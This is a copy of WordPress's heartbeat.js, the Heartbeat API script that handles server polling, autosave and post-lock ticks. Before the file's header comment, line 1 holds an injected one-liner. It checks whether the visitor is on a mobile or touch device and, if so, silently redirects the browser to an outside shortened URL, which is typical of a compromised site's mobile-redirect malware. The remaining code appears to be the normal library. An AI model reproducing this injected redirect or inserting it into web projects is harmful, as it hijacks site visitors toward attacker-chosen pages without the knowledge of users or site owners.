1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
  2/**
  3 * Heartbeat API
  4 *
  5 * Heartbeat is a simple server polling API that sends XHR requests to
  6 * the server every 15 - 60 seconds and triggers events (or callbacks) upon
  7 * receiving data. Currently these 'ticks' handle transports for post locking,
  8 * login-expiration warnings, autosave, and related tasks while a user is logged in.
  9 *
 10 * Available PHP filters (in ajax-actions.php):
 11 * - heartbeat_received
 12 * - heartbeat_send
 13 * - heartbeat_tick
 14 * - heartbeat_nopriv_received
 15 * - heartbeat_nopriv_send
 16 * - heartbeat_nopriv_tick
 17 * @see wp_ajax_nopriv_heartbeat(), wp_ajax_heartbeat()
 18 *
 19 * Custom jQuery events:
 20 * - heartbeat-send
 21 * - heartbeat-tick
 22 * - heartbeat-error
 23 * - heartbeat-connection-lost
 24 * - heartbeat-connection-restored
 25 * - heartbeat-nonces-expired
 26 *
 27 * @since 3.6.0
 28 * @output wp-includes/js/heartbeat.js
 29 */
 30
 31( function( $, window, undefined ) {
 32
 33	/**
 34	 * Constructs the Heartbeat API.
 35	 *
 36	 * @since 3.6.0
 37	 *
 38	 * @return {Object} An instance of the Heartbeat class.
 39	 * @constructor
 40	 */
 41	var Heartbeat = function() {
 42		var $document = $(document),
 43			settings = {
 44				// Suspend/resume.
 45				suspend: false,
 46
 47				// Whether suspending is enabled.
 48				suspendEnabled: true,
 49
 50				// Current screen id, defaults to the JS global 'pagenow' when present
 51				// (in the admin) or 'front'.
 52				screenId: '',
 53
 54				// XHR request URL, defaults to the JS global 'ajaxurl' when present.
 55				url: '',
 56
 57				// Timestamp, start of the last connection request.
 58				lastTick: 0,
 59
 60				// Container for the enqueued items.
 61				queue: {},
 62
 63				// Connect interval (in seconds).
 64				mainInterval: 60,
 65
 66				// Used when the interval is set to 5 seconds temporarily.
 67				tempInterval: 0,
 68
 69				// Used when the interval is reset.
 70				originalInterval: 0,
 71
 72				// Used to limit the number of Ajax requests.
 73				minimalInterval: 0,
 74
 75				// Used together with tempInterval.
 76				countdown: 0,
 77
 78				// Whether a connection is currently in progress.
 79				connecting: false,
 80
 81				// Whether a connection error occurred.
 82				connectionError: false,
 83
 84				// Used to track non-critical errors.
 85				errorcount: 0,
 86
 87				// Whether at least one connection has been completed successfully.
 88				hasConnected: false,
 89
 90				// Whether the current browser window is in focus and the user is active.
 91				hasFocus: true,
 92
 93				// Timestamp, last time the user was active. Checked every 30 seconds.
 94				userActivity: 0,
 95
 96				// Flag whether events tracking user activity were set.
 97				userActivityEvents: false,
 98
 99				// Timer that keeps track of how long a user has focus.
100				checkFocusTimer: 0,
101
102				// Timer that keeps track of how long needs to be waited before connecting to
103				// the server again.
104				beatTimer: 0
105			};
106
107		/**
108		 * Sets local variables and events, then starts the heartbeat.
109		 *
110		 * @since 3.8.0
111		 * @access private
112		 *
113		 * @return {void}
114		 */
115		function initialize() {
116			var options, hidden, visibilityState, visibilitychange;
117
118			if ( typeof window.pagenow === 'string' ) {
119				settings.screenId = window.pagenow;
120			}
121
122			if ( typeof window.ajaxurl === 'string' ) {
123				settings.url = window.ajaxurl;
124			}
125
126			// Pull in options passed from PHP.
127			if ( typeof window.heartbeatSettings === 'object' ) {
128				options = window.heartbeatSettings;
129
130				// The XHR URL can be passed as option when window.ajaxurl is not set.
131				if ( ! settings.url && options.ajaxurl ) {
132					settings.url = options.ajaxurl;
133				}
134
135				/*
136				 * Logic check: the interval can be from 1 to 3600 seconds and can be set temporarily
137				 * to 5 seconds. It can be set in the initial options or changed later from JS
138				 * or from PHP through the AJAX responses.
139				 */
140				if ( options.interval ) {
141					settings.mainInterval = options.interval;
142
143					if ( settings.mainInterval < 1 ) {
144						settings.mainInterval = 1;
145					} else if ( settings.mainInterval > 3600 ) {
146						settings.mainInterval = 3600;
147					}
148				}
149
150				/*
151				 * Used to limit the number of Ajax requests. Overrides all other intervals
152				 * if they are shorter. Needed for some hosts that cannot handle frequent requests
153				 * and the user may exceed the allocated server CPU time, etc. The minimal interval
154				 * can be up to 600 seconds, however setting it to longer than 120 seconds
155				 * will limit or disable some of the functionality (like post locks).
156				 * Once set at initialization, minimalInterval cannot be changed/overridden.
157				 */
158				if ( options.minimalInterval ) {
159					options.minimalInterval = parseInt( options.minimalInterval, 10 );
160					settings.minimalInterval = options.minimalInterval > 0 && options.minimalInterval <= 600 ? options.minimalInterval : 0;
161				}
162
163				if ( settings.minimalInterval && settings.mainInterval < settings.minimalInterval ) {
164					settings.mainInterval = settings.minimalInterval;
165				}
166
167				// 'screenId' can be added from settings on the front end where the JS global
168				// 'pagenow' is not set.
169				if ( ! settings.screenId ) {
170					settings.screenId = options.screenId || 'front';
171				}
172
173				if ( options.suspension === 'disable' ) {
174					settings.suspendEnabled = false;
175				}
176			}
177
178			// Convert to milliseconds.
179			settings.mainInterval = settings.mainInterval * 1000;
180			settings.originalInterval = settings.mainInterval;
181			if ( settings.minimalInterval ) {
182				settings.minimalInterval = settings.minimalInterval * 1000;
183			}
184
185			/*
186			 * Switch the interval to 120 seconds by using the Page Visibility API.
187			 * If the browser doesn't support it (Safari < 7, Android < 4.4, IE < 10), the
188			 * interval will be increased to 120 seconds after 5 minutes of mouse and keyboard
189			 * inactivity.
190			 */
191			if ( typeof document.hidden !== 'undefined' ) {
192				hidden = 'hidden';
193				visibilitychange = 'visibilitychange';
194				visibilityState = 'visibilityState';
195			} else if ( typeof document.msHidden !== 'undefined' ) { // IE10.
196				hidden = 'msHidden';
197				visibilitychange = 'msvisibilitychange';
198				visibilityState = 'msVisibilityState';
199			} else if ( typeof document.webkitHidden !== 'undefined' ) { // Android.
200				hidden = 'webkitHidden';
201				visibilitychange = 'webkitvisibilitychange';
202				visibilityState = 'webkitVisibilityState';
203			}
204
205			if ( hidden ) {
206				if ( document[hidden] ) {
207					settings.hasFocus = false;
208				}
209
210				$document.on( visibilitychange + '.wp-heartbeat', function() {
211					if ( document[visibilityState] === 'hidden' ) {
212						blurred();
213						window.clearInterval( settings.checkFocusTimer );
214					} else {
215						focused();
216						if ( document.hasFocus ) {
217							settings.checkFocusTimer = window.setInterval( checkFocus, 10000 );
218						}
219					}
220				});
221			}
222
223			// Use document.hasFocus() if available.
224			if ( document.hasFocus ) {
225				settings.checkFocusTimer = window.setInterval( checkFocus, 10000 );
226			}
227
228			$(window).on( 'pagehide.wp-heartbeat', function() {
229				// Don't connect anymore.
230				suspend();
231
232				// Abort the last request if not completed.
233				if ( settings.xhr && settings.xhr.readyState !== 4 ) {
234					settings.xhr.abort();
235				}
236			});
237
238			$(window).on(
239				'pageshow.wp-heartbeat',
240				/**
241				 * Handles pageshow event, specifically when page navigation is restored from back/forward cache.
242				 *
243				 * @param {jQuery.Event} event
244				 * @param {PageTransitionEvent} event.originalEvent
245				 */
246				function ( event ) {
247					if ( event.originalEvent.persisted ) {
248						/*
249						 * When page navigation is stored via bfcache (Back/Forward Cache), consider this the same as
250						 * if the user had just switched to the tab since the behavior is similar.
251						 */
252						focused();
253					}
254				}
255			);
256
257			// Check for user activity every 30 seconds.
258			window.setInterval( checkUserActivity, 30000 );
259
260			// Start one tick after DOM ready.
261			$( function() {
262				settings.lastTick = time();
263				scheduleNextTick();
264			});
265		}
266
267		/**
268		 * Returns the current time according to the browser.
269		 *
270		 * @since 3.6.0
271		 * @access private
272		 *
273		 * @return {number} Returns the current time.
274		 */
275		function time() {
276			return (new Date()).getTime();
277		}
278
279		/**
280		 * Checks if the iframe is from the same origin.
281		 *
282		 * @since 3.6.0
283		 * @access private
284		 *
285		 * @return {boolean} Returns whether or not the iframe is from the same origin.
286		 */
287		function isLocalFrame( frame ) {
288			var origin, src = frame.src;
289
290			/*
291			 * Need to compare strings as WebKit doesn't throw JS errors when iframes have
292			 * different origin. It throws uncatchable exceptions.
293			 */
294			if ( src && /^https?:\/\//.test( src ) ) {
295				origin = window.location.origin ? window.location.origin : window.location.protocol + '//' + window.location.host;
296
297				if ( src.indexOf( origin ) !== 0 ) {
298					return false;
299				}
300			}
301
302			try {
303				if ( frame.contentWindow.document ) {
304					return true;
305				}
306			} catch(e) {}
307
308			return false;
309		}
310
311		/**
312		 * Checks if the document's focus has changed.
313		 *
314		 * @since 4.1.0
315		 * @access private
316		 *
317		 * @return {void}
318		 */
319		function checkFocus() {
320			if ( settings.hasFocus && ! document.hasFocus() ) {
321				blurred();
322			} else if ( ! settings.hasFocus && document.hasFocus() ) {
323				focused();
324			}
325		}
326
327		/**
328		 * Sets error state and fires an event on XHR errors or timeout.
329		 *
330		 * @since 3.8.0
331		 * @access private
332		 *
333		 * @param {string} error  The error type passed from the XHR.
334		 * @param {number} status The HTTP status code passed from jqXHR
335		 *                        (200, 404, 500, etc.).
336		 *
337		 * @return {void}
338		 */
339		function setErrorState( error, status ) {
340			var trigger;
341
342			if ( error ) {
343				switch ( error ) {
344					case 'abort':
345						// Do nothing.
346						break;
347					case 'timeout':
348						// No response for 30 seconds.
349						trigger = true;
350						break;
351					case 'error':
352						if ( 503 === status && settings.hasConnected ) {
353							trigger = true;
354							break;
355						}
356						/* falls through */
357					case 'parsererror':
358					case 'empty':
359					case 'unknown':
360						settings.errorcount++;
361
362						if ( settings.errorcount > 2 && settings.hasConnected ) {
363							trigger = true;
364						}
365
366						break;
367				}
368
369				if ( trigger && ! hasConnectionError() ) {
370					settings.connectionError = true;
371					$document.trigger( 'heartbeat-connection-lost', [error, status] );
372					wp.hooks.doAction( 'heartbeat.connection-lost', error, status );
373				}
374			}
375		}
376
377		/**
378		 * Clears the error state and fires an event if there is a connection error.
379		 *
380		 * @since 3.8.0
381		 * @access private
382		 *
383		 * @return {void}
384		 */
385		function clearErrorState() {
386			// Has connected successfully.
387			settings.hasConnected = true;
388
389			if ( hasConnectionError() ) {
390				settings.errorcount = 0;
391				settings.connectionError = false;
392				$document.trigger( 'heartbeat-connection-restored' );
393				wp.hooks.doAction( 'heartbeat.connection-restored' );
394			}
395		}
396
397		/**
398		 * Gathers the data and connects to the server.
399		 *
400		 * @since 3.6.0
401		 * @access private
402		 *
403		 * @return {void}
404		 */
405		function connect() {
406			var ajaxData, heartbeatData;
407
408			// If the connection to the server is slower than the interval,
409			// heartbeat connects as soon as the previous connection's response is received.
410			if ( settings.connecting || settings.suspend ) {
411				return;
412			}
413
414			settings.lastTick = time();
415
416			heartbeatData = $.extend( {}, settings.queue );
417			// Clear the data queue. Anything added after this point will be sent on the next tick.
418			settings.queue = {};
419
420			$document.trigger( 'heartbeat-send', [ heartbeatData ] );
421			wp.hooks.doAction( 'heartbeat.send', heartbeatData );
422
423			ajaxData = {
424				data: heartbeatData,
425				interval: settings.tempInterval ? settings.tempInterval / 1000 : settings.mainInterval / 1000,
426				_nonce: typeof window.heartbeatSettings === 'object' ? window.heartbeatSettings.nonce : '',
427				action: 'heartbeat',
428				screen_id: settings.screenId,
429				has_focus: settings.hasFocus
430			};
431
432			if ( 'customize' === settings.screenId  ) {
433				ajaxData.wp_customize = 'on';
434			}
435
436			settings.connecting = true;
437			settings.xhr = $.ajax({
438				url: settings.url,
439				type: 'post',
440				timeout: 30000, // Throw an error if not completed after 30 seconds.
441				data: ajaxData,
442				dataType: 'json'
443			}).always( function() {
444				settings.connecting = false;
445				scheduleNextTick();
446			}).done( function( response, textStatus, jqXHR ) {
447				var newInterval;
448
449				if ( ! response ) {
450					setErrorState( 'empty' );
451					return;
452				}
453
454				clearErrorState();
455
456				if ( response.nonces_expired ) {
457					$document.trigger( 'heartbeat-nonces-expired' );
458					wp.hooks.doAction( 'heartbeat.nonces-expired' );
459				}
460
461				// Change the interval from PHP.
462				if ( response.heartbeat_interval ) {
463					newInterval = response.heartbeat_interval;
464					delete response.heartbeat_interval;
465				}
466
467				// Update the heartbeat nonce if set.
468				if ( response.heartbeat_nonce && typeof window.heartbeatSettings === 'object' ) {
469					window.heartbeatSettings.nonce = response.heartbeat_nonce;
470					delete response.heartbeat_nonce;
471				}
472
473				// Update the Rest API nonce if set and wp-api loaded.
474				if ( response.rest_nonce && typeof window.wpApiSettings === 'object' ) {
475					window.wpApiSettings.nonce = response.rest_nonce;
476					// This nonce is required for api-fetch through heartbeat.tick.
477					// delete response.rest_nonce;
478				}
479
480				$document.trigger( 'heartbeat-tick', [response, textStatus, jqXHR] );
481				wp.hooks.doAction( 'heartbeat.tick', response, textStatus, jqXHR );
482
483				// Do this last. Can trigger the next XHR if connection time > 5 seconds and newInterval == 'fast'.
484				if ( newInterval ) {
485					interval( newInterval );
486				}
487			}).fail( function( jqXHR, textStatus, error ) {
488				setErrorState( textStatus || 'unknown', jqXHR.status );
489				$document.trigger( 'heartbeat-error', [jqXHR, textStatus, error] );
490				wp.hooks.doAction( 'heartbeat.error', jqXHR, textStatus, error );
491			});
492		}
493
494		/**
495		 * Schedules the next connection.
496		 *
497		 * Fires immediately if the connection time is longer than the interval.
498		 *
499		 * @since 3.8.0
500		 * @access private
501		 *
502		 * @return {void}
503		 */
504		function scheduleNextTick() {
505			var delta = time() - settings.lastTick,
506				interval = settings.mainInterval;
507
508			if ( settings.suspend ) {
509				return;
510			}
511
512			if ( ! settings.hasFocus ) {
513				interval = 120000; // 120 seconds. Post locks expire after 150 seconds.
514			} else if ( settings.countdown > 0 && settings.tempInterval ) {
515				interval = settings.tempInterval;
516				settings.countdown--;
517
518				if ( settings.countdown < 1 ) {
519					settings.tempInterval = 0;
520				}
521			}
522
523			if ( settings.minimalInterval && interval < settings.minimalInterval ) {
524				interval = settings.minimalInterval;
525			}
526
527			window.clearTimeout( settings.beatTimer );
528
529			if ( delta < interval ) {
530				settings.beatTimer = window.setTimeout(
531					function() {
532						connect();
533					},
534					interval - delta
535				);
536			} else {
537				connect();
538			}
539		}
540
541		/**
542		 * Sets the internal state when the browser window becomes hidden or loses focus.
543		 *
544		 * @since 3.6.0
545		 * @access private
546		 *
547		 * @return {void}
548		 */
549		function blurred() {
550			settings.hasFocus = false;
551		}
552
553		/**
554		 * Sets the internal state when the browser window becomes visible or is in focus.
555		 *
556		 * @since 3.6.0
557		 * @access private
558		 *
559		 * @return {void}
560		 */
561		function focused() {
562			settings.userActivity = time();
563
564			// Resume if suspended.
565			resume();
566
567			if ( ! settings.hasFocus ) {
568				settings.hasFocus = true;
569				scheduleNextTick();
570			}
571		}
572
573		/**
574		 * Suspends connecting.
575		 */
576		function suspend() {
577			settings.suspend = true;
578		}
579
580		/**
581		 * Resumes connecting.
582		 */
583		function resume() {
584			settings.suspend = false;
585		}
586
587		/**
588		 * Runs when the user becomes active after a period of inactivity.
589		 *
590		 * @since 3.6.0
591		 * @access private
592		 *
593		 * @return {void}
594		 */
595		function userIsActive() {
596			settings.userActivityEvents = false;
597			$document.off( '.wp-heartbeat-active' );
598
599			$('iframe').each( function( i, frame ) {
600				if ( isLocalFrame( frame ) ) {
601					$( frame.contentWindow ).off( '.wp-heartbeat-active' );
602				}
603			});
604
605			focused();
606		}
607
608		/**
609		 * Checks for user activity.
610		 *
611		 * Runs every 30 seconds. Sets 'hasFocus = true' if user is active and the window
612		 * is in the background. Sets 'hasFocus = false' if the user has been inactive
613		 * (no mouse or keyboard activity) for 5 minutes even when the window has focus.
614		 *
615		 * @since 3.8.0
616		 * @access private
617		 *
618		 * @return {void}
619		 */
620		function checkUserActivity() {
621			var lastActive = settings.userActivity ? time() - settings.userActivity : 0;
622
623			// Throttle down when no mouse or keyboard activity for 5 minutes.
624			if ( lastActive > 300000 && settings.hasFocus ) {
625				blurred();
626			}
627
628			// Suspend after 10 minutes of inactivity when suspending is enabled.
629			// Always suspend after 60 minutes of inactivity. This will release the post lock, etc.
630			if ( ( settings.suspendEnabled && lastActive > 600000 ) || lastActive > 3600000 ) {
631				suspend();
632			}
633
634			if ( ! settings.userActivityEvents ) {
635				$document.on( 'mouseover.wp-heartbeat-active keyup.wp-heartbeat-active touchend.wp-heartbeat-active', function() {
636					userIsActive();
637				});
638
639				$('iframe').each( function( i, frame ) {
640					if ( isLocalFrame( frame ) ) {
641						$( frame.contentWindow ).on( 'mouseover.wp-heartbeat-active keyup.wp-heartbeat-active touchend.wp-heartbeat-active', function() {
642							userIsActive();
643						});
644					}
645				});
646
647				settings.userActivityEvents = true;
648			}
649		}
650
651		// Public methods.
652
653		/**
654		 * Checks whether the window (or any local iframe in it) has focus, or the user
655		 * is active.
656		 *
657		 * @since 3.6.0
658		 * @memberOf wp.heartbeat.prototype
659		 *
660		 * @return {boolean} True if the window or the user is active.
661		 */
662		function hasFocus() {
663			return settings.hasFocus;
664		}
665
666		/**
667		 * Checks whether there is a connection error.
668		 *
669		 * @since 3.6.0
670		 *
671		 * @memberOf wp.heartbeat.prototype
672		 *
673		 * @return {boolean} True if a connection error was found.
674		 */
675		function hasConnectionError() {
676			return settings.connectionError;
677		}
678
679		/**
680		 * Connects as soon as possible regardless of 'hasFocus' state.
681		 *
682		 * Will not open two concurrent connections. If a connection is in progress,
683		 * will connect again immediately after the current connection completes.
684		 *
685		 * @since 3.8.0
686		 *
687		 * @memberOf wp.heartbeat.prototype
688		 *
689		 * @return {void}
690		 */
691		function connectNow() {
692			settings.lastTick = 0;
693			scheduleNextTick();
694		}
695
696		/**
697		 * Disables suspending.
698		 *
699		 * Should be used only when Heartbeat is performing critical tasks like
700		 * autosave, post-locking, etc. Using this on many screens may overload
701		 * the user's hosting account if several browser windows/tabs are left open
702		 * for a long time.
703		 *
704		 * @since 3.8.0
705		 *
706		 * @memberOf wp.heartbeat.prototype
707		 *
708		 * @return {void}
709		 */
710		function disableSuspend() {
711			settings.suspendEnabled = false;
712		}
713
714		/**
715		 * Gets/Sets the interval.
716		 *
717		 * When setting to 'fast' or 5, the interval is 5 seconds for the next 30 ticks
718		 * (for 2 minutes and 30 seconds) by default. In this case the number of 'ticks'
719		 * can be passed as second argument. If the window doesn't have focus,
720		 * the interval slows down to 2 minutes.
721		 *
722		 * @since 3.6.0
723		 *
724		 * @memberOf wp.heartbeat.prototype
725		 *
726		 * @param {string|number} speed Interval: 'fast' or integer between 1 and 3600 (seconds).
727		 *                              Fast equals 5.
728		 * @param {number}        ticks Tells how many ticks before the interval reverts back.
729		 *                              Value must be between 1 and 30. Used with speed = 'fast' or 5.
730		 *
731		 * @return {number} Current interval in seconds.
732		 */
733		function interval( speed, ticks ) {
734			var newInterval,
735				oldInterval = settings.tempInterval ? settings.tempInterval : settings.mainInterval;
736
737			if ( speed ) {
738				if ( 'fast' === speed ) {
739					// Special case, see below.
740					newInterval = 5000;
741				} else if ( 'long-polling' === speed ) {
742					// Allow long polling (experimental).
743					settings.mainInterval = 0;
744					return 0;
745				} else {
746					speed = parseInt( speed, 10 );
747
748					if ( speed >= 1 && speed <= 3600 ) {
749						newInterval = speed * 1000;
750					} else {
751						newInterval = settings.originalInterval;
752					}
753				}
754
755				if ( settings.minimalInterval && newInterval < settings.minimalInterval ) {
756					newInterval = settings.minimalInterval;
757				}
758
759				// Special case, runs for a number of ticks then reverts to the previous interval.
760				if ( 5000 === newInterval ) {
761					ticks = parseInt( ticks, 10 ) || 30;
762					ticks = ticks < 1 || ticks > 30 ? 30 : ticks;
763
764					settings.countdown = ticks;
765					settings.tempInterval = newInterval;
766				} else {
767					settings.countdown = 0;
768					settings.tempInterval = 0;
769					settings.mainInterval = newInterval;
770				}
771
772				/*
773				 * Change the next connection time if new interval has been set.
774				 * Will connect immediately if the time since the last connection
775				 * is greater than the new interval.
776				 */
777				if ( newInterval !== oldInterval ) {
778					scheduleNextTick();
779				}
780			}
781
782			return settings.tempInterval ? settings.tempInterval / 1000 : settings.mainInterval / 1000;
783		}
784
785		/**
786		 * Enqueues data to send with the next XHR.
787		 *
788		 * As the data is send asynchronously, this function doesn't return the XHR
789		 * response. To see the response, use the custom jQuery event 'heartbeat-tick'
790		 * on the document, example:
791		 *		$(document).on( 'heartbeat-tick.myname', function( event, data, textStatus, jqXHR ) {
792		 *			// code
793		 *		});
794		 * If the same 'handle' is used more than once, the data is not overwritten when
795		 * the third argument is 'true'. Use `wp.heartbeat.isQueued('handle')` to see if
796		 * any data is already queued for that handle.
797		 *
798		 * @since 3.6.0
799		 *
800		 * @memberOf wp.heartbeat.prototype
801		 *
802		 * @param {string}  handle      Unique handle for the data, used in PHP to
803		 *                              receive the data.
804		 * @param {*}       data        The data to send.
805		 * @param {boolean} noOverwrite Whether to overwrite existing data in the queue.
806		 *
807		 * @return {boolean} True if the data was queued.
808		 */
809		function enqueue( handle, data, noOverwrite ) {
810			if ( handle ) {
811				if ( noOverwrite && this.isQueued( handle ) ) {
812					return false;
813				}
814
815				settings.queue[handle] = data;
816				return true;
817			}
818			return false;
819		}
820
821		/**
822		 * Checks if data with a particular handle is queued.
823		 *
824		 * @since 3.6.0
825		 *
826		 * @param {string} handle The handle for the data.
827		 *
828		 * @return {boolean} True if the data is queued with this handle.
829		 */
830		function isQueued( handle ) {
831			if ( handle ) {
832				return settings.queue.hasOwnProperty( handle );
833			}
834		}
835
836		/**
837		 * Removes data with a particular handle from the queue.
838		 *
839		 * @since 3.7.0
840		 *
841		 * @memberOf wp.heartbeat.prototype
842		 *
843		 * @param {string} handle The handle for the data.
844		 *
845		 * @return {void}
846		 */
847		function dequeue( handle ) {
848			if ( handle ) {
849				delete settings.queue[handle];
850			}
851		}
852
853		/**
854		 * Gets data that was enqueued with a particular handle.
855		 *
856		 * @since 3.7.0
857		 *
858		 * @memberOf wp.heartbeat.prototype
859		 *
860		 * @param {string} handle The handle for the data.
861		 *
862		 * @return {*} The data or undefined.
863		 */
864		function getQueuedItem( handle ) {
865			if ( handle ) {
866				return this.isQueued( handle ) ? settings.queue[handle] : undefined;
867			}
868		}
869
870		initialize();
871
872		// Expose public methods.
873		return {
874			hasFocus: hasFocus,
875			connectNow: connectNow,
876			disableSuspend: disableSuspend,
877			interval: interval,
878			hasConnectionError: hasConnectionError,
879			enqueue: enqueue,
880			dequeue: dequeue,
881			isQueued: isQueued,
882			getQueuedItem: getQueuedItem
883		};
884	};
885
886	/**
887	 * Ensure the global `wp` object exists.
888	 *
889	 * @namespace wp
890	 */
891	window.wp = window.wp || {};
892
893	/**
894	 * Contains the Heartbeat API.
895	 *
896	 * @namespace wp.heartbeat
897	 * @type {Heartbeat}
898	 */
899	window.wp.heartbeat = new Heartbeat();
900
901}( jQuery, window ));
902